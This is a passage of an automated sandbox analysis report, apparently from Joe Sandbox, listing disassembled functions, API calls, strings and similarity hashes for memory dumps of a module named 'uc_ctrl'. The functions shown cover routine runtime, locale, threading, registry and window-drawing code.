localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(0000006C,6C9404EC,?,00000001,0000003C,6C949D70,00000000), ref: 6C944F5D
_Getcvt.MSVCP140(?,?,00000001,0000003C,6C949D70,00000000), ref: 6C944F6A

Part of subcall function 6C92F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6C92D26D,?), ref: 6C92F107
Part of subcall function 6C92F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F111
Part of subcall function 6C92F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F11A
Part of subcall function 6C92F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6C92D26D,?), ref: 6C92F130

_Getcvt.MSVCP140(?,?,00000001,0000003C,6C949D70,00000000), ref: 6C944F9E

Part of subcall function 6C93E3CB: _Mbrtowc.MSVCP140(00000000,00000000,00000001,6C94A06D,00000000,6C94A06D,00000000), ref: 6C93E3F1

Strings

true, xrefs: 6C944FC6
false, xrefs: 6C944FB4

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Getcvt$H_prolog3_catch_Mbrtowc___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadlocaleconv
String ID: false$true
API String ID: 2109655706-2658103896
Opcode ID: 8a97efdbeabb0fa7acd0f4c41ead1ff9569f09c1fc0beafa18fec09a65b15f79
Instruction ID: 0955c7d304eed32fe59422f7e04e45e33abfa700a3ce00f30718577e4b16ed8f
Opcode Fuzzy Hash: 8a97efdbeabb0fa7acd0f4c41ead1ff9569f09c1fc0beafa18fec09a65b15f79
Instruction Fuzzy Hash: 2F312B72904228DFCF15CFB4D4845DEB7B4BF28314B24956AE449EFA82EB71E9058B90

Function 6C67CD49 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 6C67CD84
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6C67CDB0
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6C67CDDC
RegCloseKey.ADVAPI32(00000000), ref: 6C67CDEE
RegCloseKey.ADVAPI32(00000000), ref: 6C67CDFD

Part of subcall function 6C67D27B: GetModuleHandleW.KERNEL32(Advapi32.dll,0002001F,?,?,6C67CD82,80000001,software,00000000,0002001F,?), ref: 6C67D28C
Part of subcall function 6C67D27B: GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6C67D29C

Strings

software, xrefs: 6C67CD6D

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CloseCreate$AddressHandleModuleOpenProc
String ID: software
API String ID: 550756860-2010147023
Opcode ID: 7fedeaf33872ed35b554041a30a5d3d8845d44eeb9649a43cec14cadc3a5d224
Instruction ID: 02a51885889ebac18037f29af84fa6e70a993c64313d95c0020bfb59b3551df9
Opcode Fuzzy Hash: 7fedeaf33872ed35b554041a30a5d3d8845d44eeb9649a43cec14cadc3a5d224
Instruction Fuzzy Hash: C1213E72A01128BBDB21EA94CD44EBF7BBDEB45704F104469A912E2610D7308A45DBB8

Function 6C93050C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(6C963ABC,747991BB,00000000,00000000,00000000,6C95BB16,000000FF,?,00000003,6C963ABC,?,00000000), ref: 6C93056A
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000003,6C963ABC,?,00000000), ref: 6C930576
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9305BD
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9305C5

Strings

csm, xrefs: 6C930532

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: DecodePointer_free_basefreeterminate
String ID: csm
API String ID: 2424406664-1018135373
Opcode ID: 7d83db51e74a701159c3a5e1220308b2fd62b79547e2d74fde3501eb370d1603
Instruction ID: b4d7b1c50ab416ec9bfe1b686b728e59a02e7f75df145a966d4d2786b4aac048
Opcode Fuzzy Hash: 7d83db51e74a701159c3a5e1220308b2fd62b79547e2d74fde3501eb370d1603
Instruction Fuzzy Hash: 61219F7860A795EBDB14CF26C440B19FBBCFF06719F246659E81987E50CB30E890CAA1

Function 6C943650 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C943657
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C94367A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000), ref: 6C943694

Part of subcall function 6C947DE0: __EH_prolog3_GS.LIBCMT ref: 6C947DEA

std::locale::~locale.LIBCPMT ref: 6C9436A5
_Stoulx.MSVCP140(?,?,00000000,?), ref: 6C9436C0

Strings

-, xrefs: 6C9436EC

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@_V?$istreambuf_iterator@_$?getloc@ios_base@std@@Getifld@?$num_get@_StoulxVlocale@2@Vlocale@2@@W@std@@@2@1W@std@@@std@@@std@@std::locale::localestd::locale::~locale
String ID: -
API String ID: 2345473994-2547889144
Opcode ID: d8d93eb51cc099d1bc5284e865067eeb878655978e2b5f9ba89dde495ab9e9a9
Instruction ID: 4cbd8394499ea58466a84dc51349a18c10adfc2542167c310c9f5996ce3cfdd2
Opcode Fuzzy Hash: d8d93eb51cc099d1bc5284e865067eeb878655978e2b5f9ba89dde495ab9e9a9
Instruction Fuzzy Hash: 91212B75801219AFDF11CFA4D981AEEB7B8FF15328F104256E815A7740D734DA05CB91

Function 6C943720 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C943727
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C94374A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000), ref: 6C943764

Part of subcall function 6C947DE0: __EH_prolog3_GS.LIBCMT ref: 6C947DEA

std::locale::~locale.LIBCPMT ref: 6C943775
_Stoulx.MSVCP140(?,?,00000000,?), ref: 6C943790

Strings

-, xrefs: 6C9437BF

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@_V?$istreambuf_iterator@_$?getloc@ios_base@std@@Getifld@?$num_get@_StoulxVlocale@2@Vlocale@2@@W@std@@@2@1W@std@@@std@@@std@@std::locale::localestd::locale::~locale
String ID: -
API String ID: 2345473994-2547889144
Opcode ID: 727fbd8dfc075727393a0b3be05b43b07c6484a916a094ee4f75d452ebf7b292
Instruction ID: 15661113ea353f1b054ae40b99de99a594cc4bced2cab4c0adff5b8df4216c86
Opcode Fuzzy Hash: 727fbd8dfc075727393a0b3be05b43b07c6484a916a094ee4f75d452ebf7b292
Instruction Fuzzy Hash: 7F214AB581121DEFDF11CFA4D880AEDBBB8FF19718F108266E855A7680D734EA09CB51

Function 6C6AAA2D Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 67windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6AAA34
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 6C6AAA5A
SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 6C6AAA70

Strings

BBBB, xrefs: 6C6AAAA5
B, xrefs: 6C6AAA90
B, xrefs: 6C6AAA89

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$H_prolog3_
String ID: B$B$BBBB
API String ID: 3491702567-1601851001
Opcode ID: 819d35e6d7598304b3c1639338e17ab98caddcf17ff60cf82ac9809536da0121
Instruction ID: c0989aae9dc2e6213e479734c61c2c322044fbfed5182cd7dff9c2477d8370fa
Opcode Fuzzy Hash: 819d35e6d7598304b3c1639338e17ab98caddcf17ff60cf82ac9809536da0121
Instruction Fuzzy Hash: 8F11D572A001159BDF109FB5CE58DDFBAB5BF4A748F000658E501BB3A0DB359E09CB68

Function 6C6CEE0E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6CEE15
GetWindowRect.USER32(00000000,00000000), ref: 6C6CEE62
CreateRoundRectRgn.GDI32(00000000,00000000,00000001,?,00000004,00000004), ref: 6C6CEE8C
SetWindowRgn.USER32(00000000,?,00000000), ref: 6C6CEEA2
SetWindowRgn.USER32(00000000,00000000,00000000), ref: 6C6CEEBA

Strings

$u~l, xrefs: 6C6CEE68

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Window$Rect$CreateH_prolog3_Round
String ID: $u~l
API String ID: 2502471913-2845193413
Opcode ID: 7e85cb48e00ba4efb89adb43f514608607ca88247f09be51005a19a58eae7153
Instruction ID: 78dfd988173ced89d915acb3e90b1380dea25278ceeee332dbed8ece5224740f
Opcode Fuzzy Hash: 7e85cb48e00ba4efb89adb43f514608607ca88247f09be51005a19a58eae7153
Instruction Fuzzy Hash: E4211AB5A01209AFDF05DFA4C9859EEBB75FF0C358F100129E511B3650DB349D15CBA9

Function 6C92AA40 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

_Cnd_init.MSVCP140(?), ref: 6C92AA4F

Part of subcall function 6C93C020: _calloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000028,?,?,?,6C92AA54,?), ref: 6C93C02F

_Mtx_init.MSVCP140(?,00000001,?), ref: 6C92AA5A

Part of subcall function 6C93C3A0: _calloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000030,?,?,?,6C92AA5F,?,00000001,?), ref: 6C93C3AF

Part of subcall function 6C93C3FB: GetCurrentThreadId.KERNEL32 ref: 6C93C426
Part of subcall function 6C93C3FB: GetCurrentThreadId.KERNEL32 ref: 6C93C442

_Thrd_start.MSVCP140(00000000,6C92A7E0,?,?,00000001,?), ref: 6C92AA93

Part of subcall function 6C92A850: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,?,?,00000000,?), ref: 6C92A866

_Cnd_wait.MSVCP140(?,?), ref: 6C92AAA9
__Mtx_unlock.LIBCPMT(?), ref: 6C92AAB9
_Cnd_destroy.MSVCP140(?,?), ref: 6C92AAC1
_Mtx_destroy.MSVCP140(?,?,?), ref: 6C92AAC9

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: CurrentThread_calloc_base$Cnd_destroyCnd_initCnd_waitMtx_destroyMtx_initMtx_unlockThrd_start_beginthreadex
String ID:
API String ID: 2966599113-0
Opcode ID: 4dd70cf83657f8e4a3aee4e7811a33e3b516f1c9bb2a0a19fabfd317b138b34c
Instruction ID: bf1bb80b6a3cef25ecbafc3ea18dacd9d7f418b90bc49712a28dbd8e6d29a3bb
Opcode Fuzzy Hash: 4dd70cf83657f8e4a3aee4e7811a33e3b516f1c9bb2a0a19fabfd317b138b34c
Instruction Fuzzy Hash: 1B114C76C1022CEBCF01EFE4C941ADDBBB9EF24314F1042A6E804B6650EB35EB149B90

Function 6C9395D5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9395DC
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(00000060,6C93847D,?,00000001,0000003C,6C93B142,00000000), ref: 6C9395E6
_Getcvt.MSVCP140(?,?,00000001,0000003C,6C93B142,00000000), ref: 6C9395F2

Part of subcall function 6C92F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6C92D26D,?), ref: 6C92F107
Part of subcall function 6C92F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F111
Part of subcall function 6C92F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F11A
Part of subcall function 6C92F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6C92D26D,?), ref: 6C92F130

_Getcvt.MSVCP140(?,?,00000001,0000003C,6C93B142,00000000), ref: 6C939617

Strings

true, xrefs: 6C939636
false, xrefs: 6C939627

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Getcvt$H_prolog3_catch___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadlocaleconv
String ID: false$true
API String ID: 3144690016-2658103896
Opcode ID: d9e4da1b1d32c7925f5ff5db2db7236cde45bafd9331deea23536bd63f3f20c2
Instruction ID: 6ddce61052d15a7094089c4c58a897fcb6b373e14e642efbe4d867fda2660d1b
Opcode Fuzzy Hash: d9e4da1b1d32c7925f5ff5db2db7236cde45bafd9331deea23536bd63f3f20c2
Instruction Fuzzy Hash: 5711E370919B10DFC728CF78904095ABBF0AF29308710C95EE09A9FF40CF34E5088B54

Function 6C949C86 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949C8D
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAF1,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949C98
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949CB0

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C949CD0
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C949CEC
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949D14

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionG@std@@@std@@@std@@Getcat@?$num_put@H_prolog3ThrowU?$char_traits@V42@@V?$ostreambuf_iterator@Vfacet@locale@2@
String ID:
API String ID: 1566919881-0
Opcode ID: a9fe000d5808e8faa93ea3478634436a67277ac01021f7428e3058599a1d6180
Instruction ID: c7ada84d1d7ab14b227af17cac10709450c47553de19b92012ee81532db8a436
Opcode Fuzzy Hash: a9fe000d5808e8faa93ea3478634436a67277ac01021f7428e3058599a1d6180
Instruction Fuzzy Hash: 4E01F535A016248BCF04E7B088605FD73B9BFB5329F650919D415ABB90CF34DE088B54

Function 6C93AFBD Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93AFC4
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C93B007
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C93B023
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@D@std@@@std@@@std@@ExceptionGetcat@?$num_get@H_prolog3ThrowU?$char_traits@V42@@V?$istreambuf_iterator@Vfacet@locale@2@
String ID:
API String ID: 1033628651-0
Opcode ID: f72e558938a0ffb03c3326945bc296875c4ea89c705694b99f3617ab0abdb0f4
Instruction ID: 41abf7f525f19f5197c0ea3385ad5cc08178c5b22c8f384bee836bc0b36fa034
Opcode Fuzzy Hash: f72e558938a0ffb03c3326945bc296875c4ea89c705694b99f3617ab0abdb0f4
Instruction Fuzzy Hash: FC01D235A016348BDF00EB7088506FE737ABFA5328F541818D025ABB80DF38DD088B99

Function 6C93DFC9 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93DFD0
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E9C0,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F), ref: 6C93DFDB
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93DFF3

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$codecvt@_WDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C93E013
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C93E02F
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93E057

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$codecvt@_H_prolog3Mbstatet@@@std@@ThrowV42@@Vfacet@locale@2@
String ID:
API String ID: 2693902097-0
Opcode ID: c102b580ac2b5d53b8feca98b6bceecf924ac66de62891ff4ede3ea642c1ea50
Instruction ID: 0083811d8bc32c5f94771f60bdaff4a1412c38a5a98bede68f9d0ec9065a15d5
Opcode Fuzzy Hash: c102b580ac2b5d53b8feca98b6bceecf924ac66de62891ff4ede3ea642c1ea50
Instruction Fuzzy Hash: F101DE31A096258BDF01EB74C8502FD727ABFA5328F641518D015ABBC0DF78DD088796

Function 6C94D8B5 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94D8BC
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94AB82,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94D8C7
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C94D8DF

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

